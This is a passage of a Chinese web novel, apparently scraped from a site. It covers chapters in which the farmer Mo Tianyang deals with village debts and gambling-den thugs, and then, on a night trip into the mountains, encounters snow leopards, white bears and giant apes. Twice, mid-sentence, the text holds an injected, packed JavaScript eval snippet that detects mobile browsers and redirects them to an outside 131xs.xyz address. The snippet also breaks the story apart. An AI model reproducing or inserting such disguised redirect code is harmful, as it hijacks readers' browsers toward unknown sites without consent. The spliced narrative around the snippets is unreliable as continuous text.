胡振南看到大伯大娘的模样，深吸一口气，站前一步：“爹！胡亮不是人，可大伯大娘对咱们家一直不薄！咱家还有多少钱？这钱我出！”他转头看向莫天扬，眼神坚定：“天扬，我大伯家的情况你也知道。这次我帮大伯扛了。要是胡亮还有下次，不用你动手，我收拾他！要是钱不够……还得跟你借点。” 莫天扬看着眼前的一切，长长叹了口气，目光如炬地盯住胡亮，声音沉稳却带着不容置疑的力量：“胡亮欠你们多少钱？” “六万！一分不少！” “这钱，我替他出。” “天扬！这不行！他对不起你啊！怎么能再让你出钱……”胡睿夫妻和胡标等人几乎同时出声阻止，声音里满是羞愧与不忍。 莫天扬摇摇头，视线牢牢锁在胡亮身上，一字一句地说道：“胡亮，你睁大眼睛看清楚！你爹娘、你二叔、你兄弟，为什么还要帮你？这钱，不是我白给你的！是我借你的！” 他顿了顿，加重了语气：“你家的地、这院子，都得押在我名下！等你伤好了，到我那儿干苦工！什么时候把钱一分不少地还清，地契房契我原样还你！要是你还像以前那样混账……”莫天扬的声音陡然转冷，“别怪我翻脸，把你爹娘赶出这村子！” 此言一出，不仅胡标、胡睿一家，连围观的村民都瞬间动容。胡亮虽未亲自动手毁菜地，却是主谋之一。莫天扬那六十多亩菜地被毁，损失惨重，此刻竟能以德报怨，伸出援手，这胸襟气度，让所有人都始料未及，心中震撼不已。 胡亮挣扎着抬起头，泪水和泥土糊了满脸。他拖着伤腿，艰难地爬到莫天扬脚边，重重磕了几个响头，哽咽着嘶喊道：“行！天扬！你这次救我……我胡亮以后给你当牛做马都行！我…我一定改！” 第九十三章牛刀小试 青木村本就不大，胡睿家闹出的动静，风一样刮遍了全村。 “天扬啊！”曹建华找到莫天扬，语气里满是恨铁不成钢，“那胡亮就算没亲自下手，毁了几十亩菜地农田，他能脱得了干系？你倒好，还掏六万块帮他！这不是养虎为患是什么？” 颜若曦、曹慧等人也围在一旁，脸上写满了困惑。她们天天在地里忙活，最清楚那几十亩菜地的价值。莫天扬损失惨重，却反过来帮始作俑者之一的胡亮还债，这实在让人想不通。 面对一道道质疑的目光，莫天扬长长叹了口气：“婶子，您放心，我不是糊涂人。胡亮是什么货色，我心里有数。” “他就是个养不熟的白眼狼！”曹建华抢白道，“这些年把他爹娘、五个姐姐祸害成啥样了？他姐们在婆家都抬不起头！你帮了他，他能念你的好？转头就能咬你一口！这种混账东西，就该让他自生自灭！” 莫天扬目光沉静：“他再不是东西，睿伯就他这么一个儿子。标叔和振南要帮的，是睿伯老两口。胡亮这滩烂泥，谁不清楚？我是不想看着标叔和振南辛苦攒下的钱打了水漂。”他顿了顿，语气带上几分笃定，“我揍过他一次，他怕我。让他伤好了来我这儿打工还债，在我眼皮子底下，就算他偷奸耍滑，至少也蹦跶不出村去为非作歹。等睿伯大娘百年之后，他是死是活，跟我再无瓜葛。” 这番话让众人心头一震，不由得唏嘘感叹。既感慨胡振南能有如此为他家着想的发小，又叹那混子胡亮命好，摊上这样的二叔、堂弟，还有莫天扬这最后的“枷锁”。 “那他要是在你这儿也不听管，撒泼耍横怎么办？”有人担忧地问。 “到时候就由不得他了。”莫天扬眼神微冷，“我让振南天天盯着他。就算他学不好，也得把他按在村里，不能让他再嚯嚯乡亲。” “对了，天扬，”曹建华想起关键，“这次莫栓是幕后主谋，板上钉钉！你是不是该去县里，把咱的损失好好上报，争取让那混蛋把牢底坐穿！” 莫天扬缓缓摇头，眼底掠过一丝深沉的忧虑：“这事……恐怕不是我能主导的了。” 他心中还有一句未出口的话：这次他将证据直接递到了沛川方面，原本指望沛川能连根拔起莫栓一伙。没想到，沛川只负责行动抓人，后续审讯定罪却留在了浅驼本地。 那几个动手的小混混或许难逃法网，但莫栓最大的依仗——安云飞——还在。上次安云飞能全身而退，足见其背后能量深不可测。莫栓是主谋不假，可有安云飞乃至其背后的大人物运作，他极有可能把一切罪责都推到那几个动手的混混头上，毕竟他们与莫天扬也有旧怨。 没人注意到，在他们议论时，莫啸正从不远处悄然经过。听到莫天扬那番关于胡亮的处置和对莫栓一事的清醒判断，老人布满皱纹的脸上，露出一丝不易察觉的欣慰。 风波暂时平息。没了莫栓、胡亮这帮无赖滋扰，青木村的日子恢复了难得的平静。莫天扬每日除了将空间里的蔬菜悄悄带出来供应，余下的时间便沉浸在那些记载着古老药草知识的典籍里，日子倒也过得清净惬意。 然而，在浅驼县城一处高档小区，某间装潢奢华的住宅内，气氛却截然不同。平日里高高在上的安云飞，此刻在李翠花面前显得格外拘谨，甚至带着几分敬畏。 “妈，您怎么亲自过来了？”安云飞小心翼翼地问。 莫云端着一盘切好的水果从厨房出来，闻言没好气地瞪了丈夫一眼：“你这不是明知故问？妈还能为什么来，不就是为了栓子！” 安云飞眼神闪烁，连忙将水果推到李翠花面前：“妈，您别急。这次栓子的事，主要是聚众**，还有……牵扯到莫天扬那小子菜地被毁的事。虽说栓子没亲自参与毁地，可动手那几个一口咬定是栓子指使的。”他压低声音，“不过您放心，我已经打点好了关系，把主要罪责都推到那几个动手的身上。栓子最多就是治安拘留个把月，案底绝不会留！” 李翠花一直阴沉着的脸这才稍稍缓和：“那……栓子在里面不会受苦吧？” “我都打过招呼了，”安云飞忙道，“除了不能出来，其他都好说，好酒好肉管够。” 李翠花沉默片刻，浑浊的老眼里闪过一丝阴鸷：“沛川那边……是怎么知道栓子他们那些事的？” 安云飞的脸瞬间沉了下来，牙关紧咬：“是莫天扬那个小畜生！栓子他们太大意了，喝酒吹牛的时候把那两档子事给秃噜出去了，不知道怎么就让莫天扬拿到了录音录像……这才……” “又是这个小畜生！”李翠花猛地一拍茶几，果盘都震得跳了一下，她声音尖利，充满了刻骨的恨意，“害**老三不算完，现在又来害我的栓子！他怎么就不早点**！” 莫云也咬牙切齿地附和：“安云飞！这个小畜生活着一天，就是我们全家的心头刺！必须想办法弄死他！永绝后患！” 安云飞脸上肌肉扭曲，眼中凶光毕露，重重点头：“上次我差点栽了，也是拜他所赐！要不是妈您托了老关系，我早就完了！你放心，新账旧账一起算！我绝不会让他好过！”他攥紧拳头，指节捏得发白，仿佛莫天扬就在眼前。 李翠花深深吸了口气，浑浊的眼底翻涌着毒蛇般的怨毒：“让他就这么**？太便宜这畜生了！我要让他变得一无所有，穷得叮当响，活得比狗都不如！再一刀一刀，慢慢地剐，让他后悔从娘胎里爬出来！” “妈，”莫云忍不住追问，声音带着一丝不易察觉的敬畏和好奇，“您平常连门都不出，除了沛川那个远房表舅，咱家还有啥硬实亲戚？您到底托了哪路神仙，把云飞捞出来的？” 李翠花鼻腔里哼出一声冷气，带着居高临下的漠然：“你们不知道的事儿，多了去了。这事，烂在肚子里，一个字都不许往外蹦！” 她转向安云飞，目光锐利如锥，“云飞，你给我听好了，好好当你的差，别总盯着那点蝇头小利。只要你够听话，够忠心……”她顿了顿，嘴角扯出一丝极淡、却令人心悸的弧度，“我能把你捧到……你做梦都够不着的高度！” 安云飞和莫云都愣住了。安云飞心头剧震，眼中的贪婪和渴望瞬间烧得滚烫！如果说以前他还瞧不上莫老三这一家子穷亲戚，那么从他栽进泥坑又被李翠花轻描淡写捞出来、甚至官复原职那一刻起，李翠花在他心里就成了活祖宗！ “妈！”安云飞的声音都带着激动的颤音，“这段时间栓子不在，您就安心住这儿！让我们两口子好好伺候您！” 李翠花却摆摆手，站起身来：“不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063535|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。上次栓子搞毒豆芽，坑了你表舅家的孩子。你爹走时，人家不计前嫌还来送了礼……这事儿搁我心里有阵子了。” 她眼神微眯，“那个表舅，虽说远了点，但手里也攥着点东西。这趟我去，赔个不是，把疙瘩解开。真要能成……”她意味深长地扫了安云飞夫妇一眼，“对你们，只有好处。” “需要带啥礼？我马上去办！”安云飞赶紧表态。 “人家不缺你那点吃喝嚼裹。弄点像样的山货，野生的，我带过去就成。” 李翠花吩咐完，又想起什么，嘴角勾起一抹阴冷的笑，“对了，云飞，你说栓子放赌场被人端了？……你想法子，把是莫天扬那小子举报的风声，透给那些开赌场的。那些地头蛇，没一个善茬儿，让他们先去给那小畜生……添点堵！” …… 日子在酒坊弥漫的越来越浓郁的醇香中滑过。有爷爷莫啸的指点，莫天扬对酿酒的门道渐渐摸出了些头绪。 这天，他正凝神观察着酒醅的变化，院外骤然响起一阵刺耳的急刹车声！紧接着，大青低沉而充满威胁的咆哮就炸响了！ 莫天扬心头一凛，眉头瞬间锁紧！ 他快步冲出酒坊，只见堆放建筑材料的空地上，歪七扭八地停着七八辆面包车。车门“哗啦”一声洞开，二十多条手持钢管、木棒的凶悍身影跳了下来，目标明确，杀气腾腾地直扑他这边！ 莫天扬眼神骤冷，毫不犹豫地迎了上去！与此同时，正在院里干活的王海龙和**辉也察觉不对，如同两道离弦的箭，疾冲过来！ 大青低吼着冲到莫天扬身前，背毛根根倒竖，獠牙毕露，凶相毕露！莫天扬抬手，沉稳地在大青绷紧的脊背上轻拍两下。大青喉咙里咕噜一声，那骇人的野兽气息才缓缓收敛，但冰冷的兽瞳依旧死死盯着那群不速之客。 “你就是莫天扬？！”为首一个满脸横肉的汉子厉声喝问。 “是我。你们……” “小瘪三！敢断老子财路？！给我废了他！”那汉子根本不听解释，眼中凶光一闪，狰狞吼道！ 二十多个打手如同嗅到血腥的鬣狗，怪叫着挥舞棍棒，恶狠狠地扑了上来！眼神里尽是残忍的兴奋！ 冲过来的王海龙和**辉一看这阵势，眼神瞬间变得如同寒冰！根本无需莫天扬下令，两人身形一晃，已如猛虎下山般主动迎击！特种精英的底子在这一刻展露无遗！纵是赤手空拳，对上这群乌合之众，也如同砍瓜切菜！ 拳风呼啸，腿影如鞭！惨叫声、骨裂声、棍棒落地声瞬间响成一片！场面完全是一边倒的碾压！ 不过短短两三分钟，如同狂风扫过落叶，二十多个气势汹汹的打手已全部痛苦地蜷缩在地，呻吟哀嚎不断！而王海龙和**辉，仅仅是气息微促，身上连点灰都没沾上。 看着满地翻滚的“残兵败将”，莫天扬缓步走到那个最先叫嚣的汉子面前，居高临下，声音冷得像冰：“说，谁派你们来的？” 那汉子早已吓得魂飞魄散，看着如同战神般的王海龙和**辉，又对上莫天扬冰冷的视线，裤裆都快湿了，哆嗦着回答：“我、我们在浅驼开、开赌场的……前几天场子被、被警察端了，道上有人放风……说、说是你举报的……我们老大……就让我们来……教训教训你……” 第九十四章矛盾转嫁 听到这话，莫天扬、王海龙、**辉三人心里同时“咯噔”一下！法律规定举报必须保密，莫栓他们刚被抓，这些亡命徒就精准地找上门来？这分明是有人泄密，把莫天扬卖了！ 王海龙和**辉正暗自心惊，却见莫天扬摇了摇头，脸上露出一丝恰到好处的困惑和无奈：“我一个靠刨土种菜吃饭的，县城大门朝哪开都摸不清几回。你们觉得，我有那闲心、有那本事举报你们？再说了，我跟你们素不相识，连牌九有几张都闹不明白，我举报个啥？” “啥？你不赌？那你家里人呢？”带头的汉子捂着伤处，忍着痛追问。 “家里就一个爷爷，连村口都很少出。”莫天扬答得坦然。 这话一出，地上哀嚎的混子们都愣住了。他们开赌场，最恨的就是举报，也最清楚举报的通常是同行或者输急了眼想翻本的赌棍。可眼前这莫天扬，不沾赌，家里就一个行将就木的老头子，跟他们八竿子打不着……这种人，确实没理由也没渠道去举报他们。 看着一张张布满疑惑和动摇的脸，莫天扬知道自己的话起了作用。“你们啊，八成是被人当枪使了，让人给耍了。”他语气肯定，随即话锋一转，“不过嘛……我确实报过警，举报过几个人。” “谁？”众人立刻竖起耳朵。 “莫栓，还有彪子那几个。”莫天扬指了指远处光秃秃的田地，声音里带着压抑的愤怒，“喏，看见没？我这儿原本八十多亩绿油油的菜地，被他们毁了六十多亩！我是拿到铁证，才报的警，把他们送进去的。” 下一刻，那些混子脸上的疑惑瞬间被愤怒取代！ “原来是这几个王八蛋！” 莫天扬故作惊讶：“你们认识他们？” “认识！太认识了！”带头的汉子啐了一口血沫子，恨恨道，“虽说我们的财路断了跟你脱不了干系，但我们也不是完全不讲理。闹了半天，是这几个杂种给我们招来的祸事！” “怎么回事？” “莫栓那狗东西，在我们场子里做局，坑了个叫胡亮的傻小子好几万！结果没过两天，我们的场子就被端了！敢情是这王八蛋惹的祸，把我们全拖下水了！”汉子咬牙切齿。 莫天扬脸上适时地露出“恍然大悟”的神情：“原来是这么回事！那……刚才我的人下手是重了点，对不住各位兄弟了。”他掏出手机，动作干脆，“这样，我转五千块，算是给兄弟们的一点汤药费，意思意思。” 钱转过去的瞬间，那些混子全都懵了！他们干的都是见不得光的勾当，今天栽在人家手里，莫天扬就算报警把他们全送进去，他们也认了。可人家非但没报警，还主动赔钱？！挨了顿狠揍，反倒让他们心里对莫天扬生出了一丝难以言喻的……感激？ 众人挣扎着爬起来，带头的汉子看着手机上的转账信息，神色复杂地深吸一口气：“莫……莫兄弟，是我们莽撞了，弄错了人。这钱……” “拿着吧，”莫天扬摆摆手，语气平和，“我的人也是护主心切，下手没个轻重。带兄弟们回去看看伤，买点药。” 看着那帮人一瘸一拐地离开，王海龙和**辉相视一眼，冲着莫天扬竖起了大拇指。可闻声赶来的陈峰等人却皱紧了眉头。 “天扬，咱占着理呢！凭啥给他们钱？白挨顿揍还倒贴？”陈峰不解地问。 莫天扬淡淡一笑：“就他们这种人，逼急了什么事干不出来？几千块钱，买个清静，值了。” “天扬，我去我哥那儿瞅瞅。”胡标忽然开口，声音有些低沉。 莫天扬点点头，看着胡标匆匆离去的背影，心头微叹。借这些混子的口，让胡亮知道他是被莫栓坑惨了，或许……经此一劫，那混小子真能醒醒脑子？ 人群散去，莫天扬回到酒坊。一直默默关注着这一切的莫啸看着他，布满皱纹的脸上露出欣慰的笑容，轻轻点了点头：“小子……长大了。” “爷爷，我……”莫天扬刚想解释。 “做得很好。”莫啸打断他，浑浊的眼睛里闪烁着洞悉世事的精光，“那种下三滥的货色，断了他们的财路，就是结了死仇。他们什么阴招都使得出来。你没硬扛，也没隐瞒，用莫栓毁地的事，四两拨千斤，把他们的恨意全转嫁到莫栓身上去了。那五千块钱……” 莫啸嘴角微扬，“更是点睛之笔。既给了他们台阶下，保全了面子，又让他们觉得你这人……讲点道义，不是专门冲着他们去的。这钱，花得值。” 莫天扬有些惊讶：“爷爷，您都看出来了？” “哼，”莫啸轻哼一声，带着点老顽童的得意，“你爷爷我吃的盐比你吃的米还多！你这点小九九，也就糊弄糊弄陈峰那帮直肠子。” 他收敛笑容，目光变得深远，带着一丝凝重，“不过，经了这一遭，你算是把暗处的毒蛇彻底惊醒了。接下来……怕是要面对更狠的风浪了。你小子，得打起十二分精神来。” “爷爷，”莫天扬眉头微蹙，声音低沉，“这段时间我一直在琢磨，到底是谁有这么大能量，能把安云飞从泥坑里捞出来？难道是李家？” 莫啸浑浊的眼眸深处掠过一丝难以捉摸的光，他缓缓摇头：“水太深，看不清。但既然你选了这条路，就得把骨头缝里的劲儿都攒起来，准备着……迎接更大的浪头。” 爷孙俩的对话透着沉甸甸的分量。莫天扬默默将酒坊剩下的活计收拾利落，转身走向瓜地。 瓜地边的谷子、黍子已抽齐了穗子，沉甸甸地低垂着。只是看着那被毁掉一半、显得稀稀拉拉的田地，莫天扬心头便涌上 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“好瓜相！”陈峰忍不住赞道。 “天扬，你先尝尝！”颜若曦递过一块。 莫天扬哈哈一笑接过来：“咱们这儿昼夜温差大，瓜指定错不了！”他咬下一大口，丰沛清甜的汁水瞬间在口中迸溅！那甘美如蜜的滋味直冲肺腑，让他忍不住满足地点头。虽然比起空间里用灵泉水浇灌的西瓜还稍逊一丝，但已经远超张学涛带来的所谓精品麒麟瓜了！ “天扬，这瓜的口感真是绝了！”颜若曦惊喜道，眼睛亮晶晶的，“瓜肉又脆又嫩，一丝柴感都没有，甜度更是高得惊人，比最好的麒麟瓜还要甜！我还是头一回吃到这么好吃的西瓜！” “好吃就行！”莫天扬笑容更盛。 片刻，陈峰啃完了红瓤，又意犹未尽地咬了口瓜皮，咂咂嘴，一脸不可思议：“嘿！连瓜皮都是甜的！活了这大半辈子，这么好的西瓜，真是头一遭见！比村里老一辈说的西域运来的贡品瓜都强！” 莫天扬看着手中薄得几乎透光的瓜皮，眼中也闪过一丝难以抑制的激动。空间里的西瓜瓜皮也薄如纸，但他真没想到，在外面普通土地上种出来的，竟也能达到这种程度！ “峰叔，”莫天扬放下瓜皮，吩咐道，“喊在地里忙活的都回来歇歇，尝尝鲜。我再去摘几个，顺便给工地上的工程队也送几个过去。” “给他们？”陈峰下意识地皱眉，“咱又不是没付工钱……” 莫天扬摇摇头，目光看向远处正在施工的工地：“峰叔，人家心里舒坦了，活才做得更精细。地里的东西，卖出去换成钱才是正经，烂在地里……不过是一包水罢了。”他的语气平和，却透着深谙世事的通达。 第九十五章惊魂 “天扬，还真让你说着了！”胡标刚从工地回来，脸上带着笑，“工地上那帮人吃了西瓜，个个都竖大拇指，夸你大气，够意思！” 莫天扬微微一笑：“他们大多也是从沛川的穷苦地方出来的，最懂得人情冷暖。对他们这样的人，一点真心实意的甜头，就能换来十分的感激和用心。” 莫天扬这番话，让陈峰、胡标这些土生土长的汉子深有感触，不由得叹息点头。唯有颜若曦，听得有些懵懂。她生于富贵之家，对那些挣扎在生活底层的人们，理解终究隔着一层，只停留在模糊的想象里。 “天扬，要不要现在给涛哥打个电话？”颜若曦问道。 莫天扬抬眼望向暮色中愈发深沉的青木山脉，轮廓在夕阳下显得神秘而苍茫：“嗯，让涛哥联系王哥他们一起过来吧。我待会儿进山一趟，弄点新鲜山货招待他们。” “进山？！”陈峰、胡标几人脸色瞬间变了。连来村里时间不算长的颜若曦也瞪大了眼睛。她虽时日尚短，但几乎每晚都能听到远处山林传来的、令人心悸的狼啸。更亲眼见过青狼给莫天扬叼来的血淋淋的野味！ 白天进山，有青狼护卫，尚且令人揪心。这夜晚入山……山路崎岖，危机四伏，稍有不慎便是万劫不复！ “天扬！过去村里的老辈儿传下话，夜里进青木山……那是大忌啊！”陈峰语气凝重，带着劝阻。 莫天扬神色平静，安抚道：“峰叔，我一个人当然不敢。但有大青在，它进山就能召唤狼群引路、护卫。有它们在，安全无虞。再说，我也不走远，就在外围转转，弄点蘑菇、木耳，顺便下河摸点鱼蟹就回。” “那我们跟你去！”胡振南几个急道。 莫天扬摇头：“青狼群能护住我，未必能分心护住所有人。山里情况复杂，人多反而容易出岔子。” 陈宏利几个一听，脑袋摇得像拨浪鼓。这两个月他们想尽了法子讨好青狼，别说靠近了，连个正眼都难讨到。 仿佛是听懂了他们的对话，一直卧在远处的大青站起身，深邃的狼眸望向莫天扬。而小白更是“嗖”地一下窜过来，一米多高的银白身躯亲昵地在莫天扬腿上蹭来蹭去，喉咙里发出撒娇般的呜噜声。 两个多月过去，小白已然威风凛凛，通体银白的毛发在夕阳下闪闪发光，漂亮得让人移不开眼。可惜，除了莫天扬和偶尔能摸它一下的颜若曦，其他人根本靠近不得。 莫天扬似乎明白小白的心思，伸手在它毛茸茸的大脑袋上揉了揉，又熟练地挠了挠它耳后的绒毛：“你得留下来看家护院，小白。要是有不长眼的来捣乱，记得第一时间通知宏利他们，知道吗？” 小白仰头，发出一声带着点委屈的呜咽，但还是听话地低下头，用鼻尖轻轻碰了碰大青。这一幕，看得陈宏利等人又是羡慕又是敬畏。“天扬，你到底咋驯的？这小白简直跟通了人性似的！”陈宏利忍不住又问。 莫天扬哈哈一笑，拍了拍小白的颈侧：“宏利啊，这话你都问八百遍了！万物有灵，我跟大青、小白……不过是心意相通罢了。好了，不说了，我得赶紧收拾东西进山了。” 夕阳的余晖将天边染成一片金红。莫天扬背好行囊，提着一根油光锃亮的硬木棍，身影很快消失在通往青木山的蜿蜒小径尽头，融入那片苍茫暮色之中。 其他人虽然担忧，却也习惯了莫天扬的“非常规”。唯有颜若曦，望着他消失的方向，清澈的眼眸里盛满了难以言说的羡慕——羡慕那份与自然、与猛兽之间，旁人无法企及的神奇羁绊。 青木山的最后一丝天光已被浓密的林冠彻底吞噬，山中的凉意如同实质般弥漫开来。胡杨林和红柳丛区域莫天扬已来过两次，虽有不少药草，却都是熟识的品种，他并未停留。 “大青，去氓牛岭。”莫天扬低声道。 氓牛岭，是爷爷莫啸那张泛黄老地图上的标记，位置就在溪流消失的那片幽深山林附近。莫天扬曾在那里潮湿的林地挖掘过药草。近来研读那部古老药典，他意识到那片区域很可能生长着许多他从未见过的珍稀草药。 尽管灵泉水的改造让莫天扬体魄远超常人，但当他抵达氓牛岭边缘那片潮湿的山林时，天色已然黑透。参天古木遮蔽下，林间伸手不见五指，如同浸在浓墨之中。 他带了手电，但望着眼前深沉的黑暗，莫天扬还是摇了摇头。靠手电那点光摸索，效率太低，他不想浪费时间。 “大青，今晚先去草甸边缘扎营，明天再进林子。”他转向狼王。 然而，大青的反应让他一愣。只见大青竟冲他用力摇头，其他青狼更是喉咙里发出压抑的呜咽，绿幽幽的狼眼中流露出难以掩饰的恐惧！ 这反应让莫天扬心头猛地一跳。“就去草甸边的林子，不深入草甸。”他补充道。 听他如此说，狼群眼中的恐惧才稍稍减退。这更激起了莫天扬强烈的好奇——那片草甸的夜晚，究竟潜藏着何等令狼群都如此忌惮的存在？大型猛兽？可青木山脉从未听说过有超越狼群的顶级掠食者…… 从大青它们眼神的变化，莫天扬敏锐地捕捉到一丝信息：似乎草甸本身是禁区，但与其接壤的那片山林，危险程度尚在狼群可接受的边缘。 “大青，那片山林有危险吗？”他沉声问道。 大青沉重地点头。 “危险很大？如果我们遇险，能逃掉吗？” 大青再次点头，眼神中透着一股狼王的决绝。 莫天扬的心稍稍安定。“好，那我们就过去。找个相对安全的地方扎营。万一……真逃不掉，我带你们进空间！”他做出了承诺。 此言一出，不仅大青，所有青狼的眼睛都瞬间亮了起来，仿佛吃了定心丸。“走，去林子边缘，找个背风干燥的地方，明天好采蘑菇。” 在狼群小心翼翼的引领下，莫天扬深一脚浅一脚地穿行在漆黑湿滑的山林中。终于，在靠近草甸约三百米处，找到一小片相对干燥的坡地。莫天扬迅速从空间取出帐篷搭建起来。 安置好帐篷，好奇心驱使下，莫天扬让大青带他悄悄摸向草甸边缘。站在几棵巨树后，他望向那片在微弱的星光下显得格外空旷的草甸，心中疑惑：这三百米的距离，对真正的猛兽而言转瞬即至，狼群为何如此紧张？ 就在这时，他感觉衣角被轻轻扯动。低头，只见大青正用牙叼着他的衣角，极其缓慢地向后拖拽，狼眼中满是前所未有的警惕！ 莫天扬心头剧震，屏住呼吸跟着后退。就在他凝神戒备之际，一阵极其轻微、如同幼猫撒娇般的“喵呜”声，若有若无地飘了过来。 猫叫？莫天扬愕然看向大青，能让狼王如此紧张的，仅仅是猫？ 然而下一刻，他的瞳孔骤然收缩！ 草甸边缘的黑暗中，无声无息地亮起了数十点幽冷的碧色磷火！磷火的主人缓缓踱入微光之中——那竟是一头头体型超过两米、线条流畅、通体覆盖着雪白皮**、点缀着神秘黑色斑点的巨大猫科动物！ “雪豹！是雪山之灵！”莫天扬几乎窒息，只在爷爷口中听过的传说生物，此刻竟成群出现！而且数量如此之多！他终于明白狼群的恐惧从何而来——这些优雅而致命的掠食者，是青木山真正的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070961|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶级猎手，狼群在其面前只能退避三舍！ 更让他惊异的是，这群雪豹仿佛有着明确的目标，它们迅速进入那个有着深潭的山谷，仅仅几分钟后，便又匆匆离开，消失在草甸另一侧的黑暗中。 “它们……是来喝水的？”莫天扬压低声音问大青。 大青却再次摇头，狼眼死死盯着草甸深处，恐惧非但没有消散，反而更浓了！ 还有东西要来？！ 莫天扬的心瞬间提到嗓子眼。他拉着大青紧贴在一棵需数人合抱的古树后，大气不敢出。 仅仅几分钟后，脚下的地面开始传来沉闷的震动！仿佛有沉重的战鼓在远处擂响！ 数十个呼吸间，莫天扬的视野被一群庞然大物填满！他浑身血液几乎凝固——那是一群通体覆盖着雪白长毛、壮硕如移动小山丘的巨熊！每一头站立起来都接近两米，体重绝对超过五百斤！ 白熊？！莫天扬的认知被彻底颠覆！他只在书本和影像里见过北极圈的白熊，从未想过在青木山脉的腹地，竟会隐藏着如此庞大而神秘的种群！爷爷口中青木山的“熊”，竟是这样恐怖的存在！ 看着身边大青和青狼们匍匐在地、瑟瑟发抖的样子，莫天扬彻底理解了它们的恐惧。别说这群白熊，单单一头，就足以撕裂整个狼群！ 震撼还未平息，白熊群同样进入了山谷，逗留了约半个小时，便带着某种难以言喻的急切匆匆离去。 草甸的震动非但没有停止，反而越来越猛烈，如同沉闷的滚雷由远及近！ 轰轰轰……！ 大地在呻吟！古树的枝叶疯狂颤抖！ 莫天扬死死抓住树干，瞪圆了眼睛，大脑一片空白！ 他看到六个……不，是六座移动的山岳！它们的身形赫然超过了三米！通体披覆着月光下泛着银辉的长毛，粗壮的四肢每一次踏地都引发沉闷的轰鸣。它们行走的姿态带着一种古老而蛮荒的威压，仅仅是存在，就让空气都为之凝固！ “这……这他妈是什么东西？！”莫天扬的思维彻底混乱，只剩下本能的战栗。身后的大青和青狼，早已瘫软在地，连呜咽都发不出来，只剩下筛糠般的颤抖。 就在莫天扬因恐惧而几乎无法思考时，那六个银色山岳般的巨物猛地停下了脚步！其中两个巨猿缓缓转头，十二道如同实质闪电般的银白色目光，瞬间穿透黑暗，精准地扫向莫天扬藏身的古树方向！ 莫天扬浑身一僵，血液瞬间冰凉——被发现了？！ 然而，那恐怖的目光仅仅停留了一瞬，便移开了。六个巨物似乎对渺小的人类毫无兴趣。它们缓缓蹲伏在草甸上，巨大的手掌在茂密的草丛和泥土中仔细翻找、摸索，动作带着一种奇异的专注，仿佛在搜寻什么至关重要的东西。 时间在令人窒息的死寂中流逝了两个多小时。终于，六个巨猿似乎一无所获。它们猛地直立而起，仰起硕大无比的头颅，向着幽暗的苍穹发出了震耳欲聋的长啸！ “嗷——吼——！！！” 啸声如同实质的音波炸开！刹那间，风云似乎真的为之变色！林涛狂卷，宿鸟惊飞！莫天扬感觉自己的耳膜和心脏都要被这恐怖的声浪撕裂！ 发泄完狂暴的情绪，巨猿们用巨大的拳头猛烈捶打自己岩石般的胸膛，发出沉闷如雷的“咚咚”声，然后迈开撼动大地的步伐，怪叫着冲入山谷，很快消失在莽莽山林之中。 直到那令人灵魂战栗的怪叫声彻底消散在远方，莫天扬才像被抽干了所有力气，后背的冷汗早已浸透衣衫，冰凉一片。他靠着树干，大口喘息，心脏仍在疯狂擂动，久久无法平息。 第九十六章新的发现 莫天扬几乎是凭着本能，深一脚浅一脚地挪回了三百米外的帐篷。一钻进帐篷，他就像被抽掉了所有骨头，整个人瘫软在地，浑身肌肉都在不受控制地微微颤抖。 冰冷的汗水浸透了后背，心脏仍在胸腔里疯狂擂动。这一刻，他终于切身体会到青狼群那深入骨髓的恐惧从何而来，也彻底明白了爷爷在自己第一次进山时候，千叮万嘱、严禁他踏入地图上那些猩红标记区域的深意——那绝非仅仅是地形险峻！ 一个念头猛地冒了出来：氓牛岭并不在爷爷划定的核心禁区之内！那些如山岳般的恐怖存在，怎么会跑到这外围区域？难道……青木山脉的最深处，连维持它们生存的水源都枯竭了？！ “大青，”莫天扬声音带着一丝沙哑，努力平复呼吸，伸手在大青湿漉漉的脊背上轻轻安抚，“你们……进过青木山真正的内围吗？” 下一刻，他心头狠狠一揪！手掌下传来的触感，是大青依旧无法抑制的剧烈颤抖！浓密的狼**早已被冷汗浸透，紧紧贴在皮肤上，传递着它内心深处尚未平息的巨大恐惧。 感受着伙伴传递来的战栗，莫天扬望向帐篷外浓得化不开的黑暗。谁也不知道，那片沉寂的草甸是否还会有更恐怖的东西踏足而来。他深吸一口气，做出了决定。 “大青，这里太危险了，我们进空间！” 灵泉空间，温润的气息扑面而来。然而，这一次青狼们没有像往常那样欢快地跃入灵泉畅游。它们只是沉默地踏入泉水中，将整个身体浸没，任由蕴含着生机的泉水包裹，仿佛唯有如此才能驱散那源自灵魂的寒意。莫天扬也盘膝坐下，闭上双眼，竭力运转气息，让空间的力量抚平他紧绷的神经和疲惫的躯体。 不知过了多久，莫天扬缓缓睁开双眼。身上的脱力感已经消失，精神也恢复了不少。他下意识地望向水域中央那片生机勃勃的绿色种植平台，腹中传来一阵清晰的饥饿感。 然而，眼前的景象让他微微一愣。只见大青和它的伙伴们，此刻正安静地趴在种植平台边缘的空地上，每一头青狼的嘴边和鼻吻处，都沾染着或多或少的鲜红或翠绿的汁液！ 莫天扬起身走过去一看，不由得哑然失笑。平台上的西瓜和香瓜，有好几个被掏空了瓤，只剩下薄薄的瓜皮空壳，显然是被这些“偷瓜贼”趁他调息时享用了。 